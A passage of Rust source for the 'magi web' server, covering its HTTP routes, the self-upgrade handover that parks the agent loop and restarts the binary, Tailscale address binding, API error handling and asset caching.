864            // written the way its author was told to write it showed broken
865            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
866            // it - deliberately - so the fix is that the panel's own URL ends
867            // in a filename and its siblings are the assets.
868            .route("/api/questions/{id}/panel/index.html", get(question_panel))
869            .route("/api/questions/{id}/panel/{name}", get(question_asset))
870            .route("/api/questions/{id}/asset/{name}", get(question_asset))
871            .route("/api/notifications", get(notifications_list))
872            .route("/api/notifications/read-all", post(notifications_read_all))
873            .route("/api/notifications/{id}/read", post(notification_read))
874            .route(
875                "/api/notifications/{id}/dismiss",
876                post(notification_dismiss),
877            )
878            .route("/api/talks", get(talks_list).post(talk_post))
879            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
880            .route("/api/talks/{id}/say", post(talk_say))
881            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
882            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
883            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
884            .route("/api/talks/{id}/agent", post(talk_agent))
885            .route("/api/talks/{id}/close", post(talk_close))
886            .route("/api/talks/{id}/reopen", post(talk_reopen))
887            // `DefaultBodyLimit` is raised only on this one route - every
888            // other route on this server answers in a few kilobytes, and
889            // widening the crate-wide default for all of them just because
890            // one accepts a picture would let any other handler be handed
891            // a multi-megabyte body it never expects.
892            .route(
893                "/api/talks/{id}/attachments",
894                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
895            )
896            .route(
897                "/api/talks/{id}/attachments/{att}",
898                get(talk_attachment_get),
899            )
900            .route("/api/events", get(events))
901            .with_state(Arc::new(self))
902    }
903}
904
905/// One talk's turn slot, released on drop.
906///
907/// A guard rather than a matching `remove` at the end of the handler, because
908/// the handler has several early returns and one `await` that can be cancelled
909/// out from under it. A leaked id is a talk nobody can talk to again.
910#[derive(Debug)]
911struct TalkTurnGuard {
912    talk: String,
913    turns: Arc<Mutex<TalkTurns>>,
914    released: bool,
915}
916
917/// In-memory turn ownership plus the queue generation observed by a drainer.
918///
919/// The generation changes only after a durable queued draft is written and its
920/// caller finds the turn busy. That lets the loop run filesystem work outside
921/// this mutex while still making the final empty-check/release atomic with a
922/// concurrent queue handoff.
923#[derive(Debug, Default)]
924struct TalkTurns {
925    live: HashSet<String>,
926    queued: HashMap<String, u64>,
927}
928
929/// The atomic initial-state decision made by
930/// [`Ui::begin_talk_turn_unless_pending`].
931enum TalkTurnStart {
932    Claimed(TalkTurnGuard),
933    Busy,
934    Pending,
935}
936
937impl TalkTurnGuard {
938    /// Release while the caller already holds the claim mutex, closing the
939    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
940    fn release(mut self, live: &mut TalkTurns) {
941        live.live.remove(&self.talk);
942        live.queued.remove(&self.talk);
943        self.released = true;
944    }
945}
946
947impl Drop for TalkTurnGuard {
948    fn drop(&mut self) {
949        if self.released {
950            return;
951        }
952        if let Ok(mut live) = self.turns.lock() {
953            live.live.remove(&self.talk);
954            live.queued.remove(&self.talk);
955        }
956    }
957}
958
959/// Releases a resume claim, so a run is resumable again after the attempt.
960struct ResumeGuard {
961    run: String,
962    resuming: Arc<Mutex<HashSet<String>>>,
963}
964
965impl Drop for ResumeGuard {
966    fn drop(&mut self) {
967        if let Ok(mut live) = self.resuming.lock() {
968            live.remove(&self.run);
969        }
970    }
971}
972
973/// Bind the port, waiting briefly for a predecessor to let go of it.
974///
975/// A restart hands the address from one process to the next, and the old one
976/// holds its listener until it unwinds. A single `bind` can lose that race,
977/// and for a restart triggered from a phone that means the deck never comes
978/// back with no terminal around to say why.
979///
980/// Bounded, and only for the one error a wait can fix: anything else fails at
981/// once, because retrying it would turn a clear message into a silence.
982async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
983    const WINDOW: Duration = Duration::from_secs(10);
984    const GAP: Duration = Duration::from_millis(250);
985
986    let deadline = std::time::Instant::now() + WINDOW;
987    let mut said = false;
988    loop {
989        match tokio::net::TcpListener::bind(socket).await {
990            Ok(listener) => return Ok(listener),
991            Err(e)
992                if e.kind() == std::io::ErrorKind::AddrInUse
993                    && std::time::Instant::now() < deadline =>
994            {
995                if !said {
996                    said = true;
997                    tracing::info!(
998                        "{socket} is still held - waiting up to {}s for it, \
999                         which is what a restart looks like from here",
1000                        WINDOW.as_secs()
1001                    );
1002                }
1003                tokio::time::sleep(GAP).await;
1004            }
1005            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1006        }
1007    }
1008}
1009
1010/// Signalled when an upgrade has replaced the binary and the successor should
1011/// take this address over. One per process: there is one address to hand on.
1012static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1013
1014/// Set to `1` on the successor when the loop was running at handover.
1015const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1016
1017/// Whether the environment value asks for the loop to be resumed.
1018fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1019    value.is_some_and(|v| v == "1")
1020}
1021
1022/// Start this binary again with the same arguments, detached.
1023///
1024/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1025/// so the address is already free when the successor binds it. The first
1026/// attempt at this spawned the successor two hundred milliseconds before
1027/// exiting instead, and the released binary - which has no bind retry - died
1028/// on "address already in use" with its stdio sent to null, so the deck
1029/// simply never came back.
1030///
1031/// Detached and without inherited stdio: the successor has to outlive this
1032/// process, and must not hold open a pipe a terminal is waiting on.
1033///
1034/// `resume` tells the successor to start the queue loop, through
1035/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1036/// process inherited from its own predecessor cannot leak into a generation
1037/// that should not resume. The successor's own environment keeps the variable
1038/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1039///
1040/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1041/// than sent to null: a supervisor's redirection only ever held the first
1042/// generation's descriptors, so every later generation logged nowhere. The
1043/// pid of the child is returned so the handover log can name it.
1044fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1045    let exe = std::env::current_exe().context("find this binary")?;
1046    let args: Vec<String> = std::env::args().skip(1).collect();
1047    updater::log_step(
1048        home,
1049        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1050    );
1051    let log_path = home.join(WEB_LOG);
1052    let open_log = || {
1053        std::fs::create_dir_all(home)?;
1054        std::fs::OpenOptions::new()
1055            .create(true)
1056            .append(true)
1057            .open(&log_path)
1058    };
1059    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1060        Ok(pair) => (
1061            std::process::Stdio::from(pair.0),
1062            std::process::Stdio::from(pair.1),
1063        ),
1064        Err(e) => {
1065            updater::log_warn(
1066                home,
1067                &format!(
1068                    "could not open {}: {e}; the successor logs nowhere",
1069                    log_path.display()
1070                ),
1071            );
1072            (std::process::Stdio::null(), std::process::Stdio::null())
1073        }
1074    };
1075
1076    let mut cmd = std::process::Command::new(&exe);
1077    if resume {
1078        cmd.env(RESUME_LOOP_ENV, "1");
1079    } else {
1080        cmd.env_remove(RESUME_LOOP_ENV);
1081    }
1082    cmd.args(&args)
1083        .stdin(std::process::Stdio::null())
1084        .stdout(out)
1085        .stderr(err);
1086    #[cfg(windows)]
1087    {
1088        use std::os::windows::process::CommandExt as _;
1089        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1090        // and Ctrl-C in the old terminal must not reach the successor.
1091        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1092    }
1093    let child = cmd.spawn().context("start the successor")?;
1094    Ok(child.id())
1095}
1096
1097/// File under `<home>` the successor's output is appended to.
1098const WEB_LOG: &str = "web.log";
1099
1100/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1101/// stored by an earlier `notify_one` is consumed by the first poll, so the
1102/// signal is never missed and never wakes a second time.
1103async fn wait_for_handover(signal: &Notify) {
1104    signal.notified().await;
1105}
1106
1107/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1108///
1109/// The server itself owns no state, so nothing here is graceful for the HTTP
1110/// side's sake: the connections go with the dropped listener, which costs a
1111/// phone one change-stream reconnection it was going to make anyway.
1112///
1113/// The signal branch is not optional now that the loop lives in this process.
1114/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1115/// handler is what stops the signal terminating the process - so without a
1116/// branch of our own, the first Ctrl-C after the operator started the loop
1117/// would stop the loop and leave `magi web` listening forever, unkillable
1118/// from the terminal it was started in.
1119///
1120/// What it waits for is the loop, not the sockets. A run in flight is
1121/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1122/// mid-node leaves worktrees, branches and agent sessions behind and throws
1123/// away every agent call already paid for.
1124///
1125/// The server therefore runs on a task of its own rather than inside the
1126/// `select!`: an arm that resolves *drops* the futures the other arms were
1127/// polling, so serving the address from inside one would take the deck down
1128/// at the instant the handover began and keep it down for the whole park -
1129/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1130/// owns the order.
1131pub async fn serve(opts: Opts) -> Result<()> {
1132    let (addr, warning) = resolve_bind(&opts.bind);
1133    if let Some(warning) = warning {
1134        tracing::warn!("{warning}");
1135    }
1136
1137    // Process-global, and therefore set exactly once, here: the report route
1138    // must never emit escape sequences into a browser, and toggling the flag
1139    // per request would race with a concurrent request rendering its own
1140    // report. Startup is the only moment at which no request can observe the
1141    // change. Nothing in the server turns colour back on.
1142    report::set_color(false);
1143
1144    let repo = normalize_default_repo(opts.repo).await;
1145    let ui = Ui::open(repo).with_merge(opts.merge);
1146    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1147    // home to bracket the parking and restarting stages, and `run_update_recheck`
1148    // needs both it and the repo, and by then there is no `ui` left to read
1149    // them from.
1150    let home = ui.home.clone();
1151    let repo = ui.repo.clone();
1152    // Settles a progress record a predecessor left non-terminal - either this
1153    // *is* the successor `spawn_successor` started, or the previous process
1154    // died mid-handover. Before the router starts answering, so the very
1155    // first `/api/health` a phone gets from this process already reflects it.
1156    updater::reconcile_after_restart(&home);
1157    updater::log_step(
1158        &home,
1159        &format!(
1160            "web process started (version {}); handover log {}, successor output {}",
1161            env!("CARGO_PKG_VERSION"),
1162            updater::log_path(&home).display(),
1163            home.join(WEB_LOG).display()
1164        ),
1165    );
1166    updater::spawn_watchdog(home.clone());
1167    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1168    // `spawn_update_check` does at startup only ever runs once: after that,
1169    // `/api/health`'s `update` field - and the phone's "Update & restart"
1170    // button, which reads the very same cache - would stay frozen on
1171    // whatever that single check found, no matter how many releases ship
1172    // afterwards. This keeps it current instead. Detached: it must keep
1173    // going for as long as this process serves, `serve` has nothing to await
1174    // it for, and it exits on its own the moment the process does.
1175    tokio::spawn(run_update_recheck(repo, home.clone()));
1176    let looping = ui.looping();
1177    let socket = SocketAddr::new(addr, opts.port);
1178    let listener = bind_waiting(socket).await?;
1179    let url = format!("http://{addr}:{}", opts.port);
1180    tracing::info!(
1181        "magi web UI on {url} - there is no authentication, so anyone who can \
1182         reach this address can file and hold tasks: the tailnet is the \
1183         security boundary"
1184    );
1185    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1186        tracing::info!("resumed the loop the predecessor was running");
1187    } else {
1188        tracing::info!(
1189            "the queue loop is not running yet - start it from the UI, which is \
1190             the whole reason this process can: nothing in the queue moves until \
1191             something is running the loop"
1192        );
1193    }
1194    if opts.open {
1195        // The URL alone on stdout, for a caller that wants to open it. magi
1196        // does not spawn a browser: on the machine this usually runs on there
1197        // is no display, and a failed launch would be the only output.
1198        println!("{url}");
1199    }
1200
1201    // On its own task, so nothing this function awaits can stop the address
1202    // being answered. `hand_over` is where it is given up.
1203    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1204    let interrupted = async {
1205        if tokio::signal::ctrl_c().await.is_err() {
1206            // No handler on this platform, so there is no signal to act on.
1207            // Never resolving is the safe answer: a failed registration must
1208            // not masquerade as the operator asking for a shutdown and take
1209            // the UI down on startup.
1210            std::future::pending::<()>().await;
1211        }
1212    };
1213    let handover = wait_for_handover(&HANDOVER);
1214    let outcome = tokio::select! {
1215        joined = &mut served => match joined {
1216            Ok(outcome) => outcome.context("serve the web UI"),
1217            Err(e) => Err(e).context("the task serving the web UI ended"),
1218        },
1219        () = interrupted => {
1220            tracing::info!("shutting down the web UI");
1221            finish_loop(&home, &looping).await;
1222            Ok(())
1223        }
1224        () = handover => {
1225            updater::log_step(&home, "serve: the select! woke on the handover signal");
1226            let successor_home = home.clone();
1227            hand_over(&home, &looping, served, move |resume| {
1228                spawn_successor(&successor_home, resume)
1229            })
1230            .await
1231        }
1232    };
1233    updater::log_step(
1234        &home,
1235        &match &outcome {
1236            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1237            Err(e) => format!("serve: returning an error: {e:#}"),
1238        },
1239    );
1240    outcome
1241}
1242
1243/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1244/// process's own working directory is not a git checkout at all - the
1245/// checkout [`repos::discover_verified`] finds instead.
1246///
1247/// Only the unmodified default is ever replaced: an operator who named a
1248/// directory outright, git checkout or not, gets exactly that directory
1249/// back, and the same story downstream (a talk whose briefing embeds a
1250/// non-git directory, and an agent that has to ask the operator where the
1251/// real repository is) that has always told them so - substituting a guess
1252/// for an explicit answer would be a second, silent opinion about what they
1253/// meant. There is no instruction or task text yet to match against this
1254/// early, so only [`repos::discover_verified`]'s own-repository tier can
1255/// ever settle this - the hint tier never fires here.
1256///
1257/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1258/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1259/// or a git installation that is broken in exactly the way that made the
1260/// original `canonical` check above fail too - so it is re-checked with
1261/// `git::toplevel` before it is ever used in place of the operator's own
1262/// directory.
1263async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1264    if repo != FsPath::new(".") {
1265        return repo;
1266    }
1267    let Ok(canonical) = repo.canonicalize() else {
1268        return repo;
1269    };
1270    if git::toplevel(&canonical).await.is_ok() {
1271        return repo;
1272    }
1273    let Some(home) = dirs::home_dir() else {
1274        return repo;
1275    };
1276    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1277        Some(found) => {
1278            tracing::info!(
1279                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1280                canonical.display(),
1281                found.path.display(),
1282                found.reason,
1283            );
1284            found.path
1285        }
1286        None => repo,
1287    }
1288}
1289
1290/// Park the loop, then release the address, then start the successor.
1291///
1292/// The order is the whole function, and each step is answerable to a failure
1293/// this arrangement has already had:
1294///
1295/// 1. **Park.** The loop was asked to stop by the request that replaced the
1296///    binary, and this waits for it, because killing the graph mid-node
1297///    leaves worktrees, branches and agent sessions behind and throws away
1298///    every agent call already paid for. It takes as long as the node in
1299///    flight - up to `timeout_implement`, an hour by default - and the deck
1300///    goes on answering for all of it, which is the reason `served` is a task
1301///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1302///    first upgrade from a phone that caught a run mid-implement dropped the
1303///    listener the moment it was asked to, and the operator got
1304///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1305///    waiting on and nothing but a process list to say the run was alive.
1306/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1307///    the join resolves only once the task's future has been dropped, so the
1308///    listener is released before the next line. Connections it already
1309///    accepted are served on tasks of their own and wind down asynchronously;
1310///    on some platforms (macOS) they can briefly keep the address busy, and
1311///    the successor's `bind_waiting` absorbs that.
1312/// 3. **Start the successor**, which binds the address this process has just
1313///    let go of - see [`spawn_successor`] for what the other order cost.
1314///
1315/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1316/// reporting, not part of the design: it exists so `/api/health` can say
1317/// "parking, waiting on run X" instead of leaving the phone to guess why the
1318/// deck went quiet, and dropping it would not change the order above.
1319async fn hand_over(
1320    home: &FsPath,
1321    looping: &Mutex<LoopState>,
1322    served: tokio::task::JoinHandle<std::io::Result<()>>,
1323    successor: impl FnOnce(bool) -> Result<u32>,
1324) -> Result<()> {
1325    updater::log_step(home, "hand_over: entered; writing the parking stage");
1326    match updater::read_progress(home) {
1327        Some(mut progress) => {
1328            progress.advance(updater::Stage::Parking);
1329            updater::write_progress_logged(home, &progress);
1330        }
1331        None => updater::log_warn(
1332            home,
1333            "hand_over: upgrade.json is unreadable; no parking stage",
1334        ),
1335    }
1336    finish_loop(home, looping).await;
1337    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1338    served.abort();
1339    let _ = served.await;
1340    updater::log_step(home, "hand_over: listener released");
1341    // Read last: the deck answers for the whole park, so an operator's stop
1342    // during the wait must still be honoured by the successor.
1343    let resume = lock_or_recover(looping).resume_after_handover;
1344    match updater::read_progress(home) {
1345        Some(mut progress) => {
1346            progress.advance(updater::Stage::Restarting);
1347            updater::write_progress_logged(home, &progress);
1348        }
1349        None => updater::log_warn(
1350            home,
1351            "hand_over: upgrade.json is unreadable; no restarting stage",
1352        ),
1353    }
1354    updater::log_step(
1355        home,
1356        &format!("hand_over: starting the successor (resume={resume})"),
1357    );
1358    match successor(resume) {
1359        Ok(pid) => {
1360            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1361            Ok(())
1362        }
1363        Err(e) => {
1364            updater::log_warn(
1365                home,
1366                &format!("hand_over: the successor did not start: {e:#}"),
1367            );
1368            Err(e)
1369        }
1370    }
1371}
1372
1373/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1374///
1375/// The wait is the whole function. Returning from `serve` while a graph is
1376/// mid-node ends the process with worktrees, branches and agent sessions left
1377/// behind and every agent call in that run paid for and thrown away, which is
1378/// exactly what the daemon's own shutdown refuses to do.
1379async fn finish_loop(home: &FsPath, state: &Mutex<LoopState>) {
1380    let live = lock_or_recover(state).live.take();
1381    let Some(live) = live else {
1382        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1383        return;
1384    };
1385    live.stop.stop();
1386    lock_or_recover(state).rev += 1;
1387    updater::log_step(
1388        home,
1389        "finish_loop: waiting for the loop to finish the run in flight",
1390    );
1391    let waited = std::time::Instant::now();
1392    // The task records its own outcome and logs it, so there is nothing to do
1393    // with a join error here but stop waiting.
1394    let _ = live.handle.await;
1395    updater::log_step(
1396        home,
1397        &format!(
1398            "finish_loop: the loop ended after {:.1}s",
1399            waited.elapsed().as_secs_f32()
1400        ),
1401    );
1402}
1403
1404/// Resolve `--bind` to an address, plus a warning when the answer is not what
1405/// the operator asked for.
1406///
1407/// Split out from [`serve`] because the interesting half - deciding whether
1408/// Tailscale gave us something usable - is testable without opening a socket.
1409pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1410    match bind {
1411        Bind::Addr(addr) => (*addr, None),
1412        Bind::Auto => match tailscale_ip() {
1413            Ok(ip) => (IpAddr::V4(ip), None),
1414            Err(why) => (
1415                IpAddr::V4(Ipv4Addr::LOCALHOST),
1416                Some(format!(
1417                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1418                     local-only and a phone cannot reach it; start Tailscale \
1419                     or pass --bind <addr>"
1420                )),
1421            ),
1422        },
1423    }
1424}
1425
1426/// This machine's Tailscale IPv4, or why there is not one.
1427///
1428/// `tailscale ip -4` is a local call against the running daemon and returns in
1429/// milliseconds, so it is fine to make it synchronously before the server
1430/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1431/// CGNAT block Tailscale assigns from, and anything else on that output would
1432/// be a different tool answering.
1433fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1434    let out = std::process::Command::new("tailscale")
1435        .args(["ip", "-4"])
1436        .quiet()
1437        .output()
1438        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1439    if !out.status.success() {
1440        let why = String::from_utf8_lossy(&out.stderr);
1441        let why = why.trim();
1442        return Err(format!(
1443            "`tailscale ip -4` failed ({}){}",
1444            out.status,
1445            if why.is_empty() {
1446                String::new()
1447            } else {
1448                format!(": {why}")
1449            }
1450        ));
1451    }
1452    String::from_utf8_lossy(&out.stdout)
1453        .lines()
1454        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1455        .find(is_tailnet)
1456        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1457}
1458
1459/// Is this address in the CGNAT block Tailscale hands out from?
1460fn is_tailnet(ip: &Ipv4Addr) -> bool {
1461    let o = ip.octets();
1462    o[0] == 100 && (64..=127).contains(&o[1])
1463}
1464
1465/// What every handler returns. Spelled out because `Result` in this crate is
1466/// `anyhow::Result`, and a handler's error is a status code as much as a
1467/// message.
1468type ApiResult<T> = std::result::Result<T, ApiError>;
1469
1470/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1471#[derive(Debug)]
1472struct ApiError {
1473    status: StatusCode,
1474    message: String,
1475}
1476
1477impl ApiError {
1478    /// The client asked for something malformed.
1479    fn bad_request(message: impl Into<String>) -> Self {
1480        Self {
1481            status: StatusCode::BAD_REQUEST,
1482            message: message.into(),
1483        }
1484    }
1485
1486    /// No such run or task.
1487    fn not_found(message: impl Into<String>) -> Self {
1488        Self {
1489            status: StatusCode::NOT_FOUND,
1490            message: message.into(),
1491        }
1492    }
1493
1494    /// Someone else owns the thing the client wants to change.
1495    /// Re-badge an error whose default mapping is wrong for this route.
1496    fn with_status(mut self, status: StatusCode) -> Self {
1497        self.status = status;
1498        self
1499    }
1500
1501    /// A rules violation from a domain type, reported as the caller's fault.
1502    /// `Question::answer` rejects an unoffered choice, and that is a bad
1503    /// request, not a server error.
1504    fn bad_request_from(e: anyhow::Error) -> Self {
1505        Self::bad_request(format!("{e:#}"))
1506    }
1507
1508    fn conflict(message: impl Into<String>) -> Self {
1509        Self {
1510            status: StatusCode::CONFLICT,
1511            message: message.into(),
1512        }
1513    }
1514
1515    /// Our fault, or the disk's.
1516    fn internal(message: impl Into<String>) -> Self {
1517        Self {
1518            status: StatusCode::INTERNAL_SERVER_ERROR,
1519            message: message.into(),
1520        }
1521    }
1522}
1523
1524impl From<anyhow::Error> for ApiError {
1525    /// Errors from `queue` and `run` carry their context chain, and the whole
1526    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1527    /// value at line 3" is a message an operator can act on, and there is no
1528    /// secret in a path on a single-user tailnet.
1529    fn from(e: anyhow::Error) -> Self {
1530        Self::internal(format!("{e:#}"))
1531    }
1532}
1533
1534impl IntoResponse for ApiError {
1535    fn into_response(self) -> Response {
1536        let body = serde_json::json!({ "error": self.message });
1537        (self.status, Json(body)).into_response()
1538    }
1539}
1540
1541/// Run a handler's filesystem work off the executor.
1542///
1543/// Every route that touches the disk goes through here rather than each one
1544/// arguing about whether its own read is small enough. Uniform because the
1545/// expensive case is not rare: `run.json` for a finished competition holds
1546/// every judgement, deliberation turn and review round, so listing a few
1547/// hundred runs is megabytes of parsing, and the executor threads doing it are
1548/// the same ones serving the change stream of every other connected phone.
1549async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1550where
1551    T: Send + 'static,
1552{
1553    match tokio::task::spawn_blocking(job).await {
1554        Ok(result) => result,
1555        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1556    }
1557}
1558
1559/// Cache policy for the three compiled-in front-end files.
1560///
1561/// The whole interface is `include_str!`ed into the binary, so its content
1562/// changes only when the binary does - and a phone that keeps a copy is
1563/// welcome to, right up until the deck is replaced. Without a single cache
1564/// header, browsers were free to invent their own policy, and one did:
1565/// yukimemi's phone went on showing "Candidates must be folded before
1566/// deleting. Run `magi fold` first." - a sentence deleted two releases
1567/// earlier - from a run detail served by a deck that no longer contained it.
1568/// The delete button he was told about was right there, and unreachable.
1569///
1570/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1571/// every time, the answer is a 304 costing one small round trip while the
1572/// deck is unchanged, and the moment it is replaced the tag differs and the
1573/// new interface arrives. Correctness over bytes - this is one file of a few
1574/// tens of kilobytes on a tailnet, and being a version behind is not a
1575/// cosmetic problem when the difference is whether a button exists.
1576const ASSET_CACHE: &str = "no-cache, must-revalidate";
1577
1578/// `ETag` for the compiled-in assets, distinct per build.
1579///
1580/// The version alone would leave a locally built deck - `cargo install
1581/// --path .` twice at the same version, which is the normal way to iterate -
1582/// serving a stale tag for changed bytes. The build timestamp is what makes
1583/// two builds of `0.3.0` differ.
1584fn asset_etag() -> &'static str {
1585    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1586        format!(
1587            "\"{}-{}\"",
1588            env!("CARGO_PKG_VERSION"),
1589            // Length is a cheap, deterministic stand-in for a hash: the
1590            // three files are compiled in together, so any edit to any of
1591            // them almost certainly changes the total, and a rebuild is what
1592            // this needs to track rather than every possible byte pattern.
1593            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1594        )
1595    });
1596    &TAG
1597}
1598
1599/// Headers for a compiled-in asset of `mime`.
1600fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1601    [
1602        (header::CONTENT_TYPE, mime),
1603        (header::CACHE_CONTROL, ASSET_CACHE),
1604        (header::ETAG, asset_etag()),
1605    ]
1606}
1607
1608/// Serve a compiled-in asset, answering `304` when the client already has it.
1609///
1610/// axum does not compare `If-None-Match` for us, and a header the server sets
1611/// but never honours is worse than none: the phone revalidates on every load
1612/// and is handed the whole file back each time. Doing the comparison is what
1613/// makes `must-revalidate` cost one small round trip rather than the
1614/// interface.
1615fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1616    let tag = asset_etag();
1617    let known = headers
1618        .get(header::IF_NONE_MATCH)
1619        .and_then(|v| v.to_str().ok())
1620        // A revalidating client may send several, and a proxy may weaken the
1621        // tag to `W/"..."`; matching on containment covers both without
1622        // parsing the grammar.
1623        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1624    if known {
1625        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1626    }
1627    (asset_headers(mime), body).into_response()
1628}
1629
1630async fn index(headers: header::HeaderMap) -> Response {
1631    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1632}
1633
1634async fn app_css(headers: header::HeaderMap) -> Response {
1635    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1636}
1637
1638async fn app_js(headers: header::HeaderMap) -> Response {
1639    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1640}
1641
1642/// What `/api/health` answers.
1643#[derive(Debug, Serialize)]
1644struct HealthView {
1645    version: &'static str,
1646    home: String,
1647    queue_rev: u64,
1648    runs_rev: u64,
1649    /// The same revisions [`events`] streams for the question and talk
1650    /// stores.
1651    ///
1652    /// Here because this route is what the front end falls back to when the
1653    /// change stream is not up - it re-polls health on a timer and on wake, and
1654    /// takes the revisions from the answer. Without these the fallback
1655    /// compares `undefined` against `undefined` for both stores, decides
1656    /// nothing moved, and a phone with a dead stream never learns that a
1657    /// question was asked or that a talk took a turn. `queue_rev` and
1658    /// `runs_rev` above have always been here for exactly this reason; the rule
1659    /// is that every revision the stream carries, this route carries too.
1660    questions_rev: u64,
1661    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1662    talks_rev: u64,
1663    /// See [`HealthView::questions_rev`]. The notification centre's store.
1664    notifications_rev: u64,
1665    /// Notifications nobody has read yet: the bell's badge before
1666    /// `/api/notifications` has answered.
1667    notifications_unread: usize,
1668    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1669    /// is not on disk anywhere, so a phone with no change stream has no other
1670    /// way to notice that the loop it is waiting on was started from another
1671    /// device.
1672    loop_rev: u64,
1673    /// Runs on disk whose state this build cannot parse - almost always a
1674    /// schema bump, occasionally a run killed mid-write.
1675    ///
1676    /// Reported because the list silently skips them, and "no competitions
1677    /// yet" is a lie when six of them are sitting in the runs directory. The
1678    /// terminal deck learned the same lesson: a run that fails to parse must
1679    /// not disappear from the count.
1680    runs_unreadable: usize,
1681    /// The disk, and what the runs and their worktrees occupy on it.
1682    ///
1683    /// This is the incident the janitor exists for: magi alone put 30 GB into
1684    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1685    /// is exactly where the operator learns "the disk is the constraint" -
1686    /// the diagnosis that a run is being held for want of space has to be
1687    /// checkable on the same screen.
1688    disk: DiskView,
1689    /// Questions nobody has answered yet, including ones an owner talked
1690    /// back on and is now waiting for the agent's reply to. A round trip
1691    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1692    /// while the ball is in the agent's court - see
1693    /// [`crate::ask::Questions::count_open`].
1694    questions_open: usize,
1695    /// Of those, how many actually need the owner right now: open, and not
1696    /// [`crate::ask::Question::waiting_on_agent`].
1697    ///
1698    /// The one number that means "nothing will happen until a human acts" -
1699    /// a parked run consumes nothing and progresses never - and the count the
1700    /// ask bar, the nav badge and the document title fall back to before
1701    /// `/api/questions` has answered, so those notification channels clear
1702    /// the instant the owner asks back and reappear the instant the agent
1703    /// replies, instead of sitting lit for however long the agent thinks.
1704    questions_needs_owner: usize,
1705    daemon: DaemonView,
1706    /// The loop in this process, exactly what `/api/loop` answers with.
1707    ///
1708    /// Here so a phone that has just woken needs one request to know whether
1709    /// anything is going to happen at all: `daemon` says a loop is alive
1710    /// somewhere, and this says whether it is one this UI can stop.
1711    #[serde(rename = "loop")]
1712    looping: LoopView,
1713    /// Whether a release newer than this build is known, and which.
1714    ///
1715    /// From [`updater::Checker::cached_update`] - the same throttled state the
1716    /// CLI's `notify` mode banners from - never a live check: this route is
1717    /// polled every few seconds, and a live check on each poll would spend
1718    /// GitHub's rate limit before the operator finished reading the strip.
1719    update: UpdateView,
1720    /// The self-upgrade this deck last set in motion, or `null` before the
1721    /// first one. Read off disk, so the successor can report what its
1722    /// predecessor started.
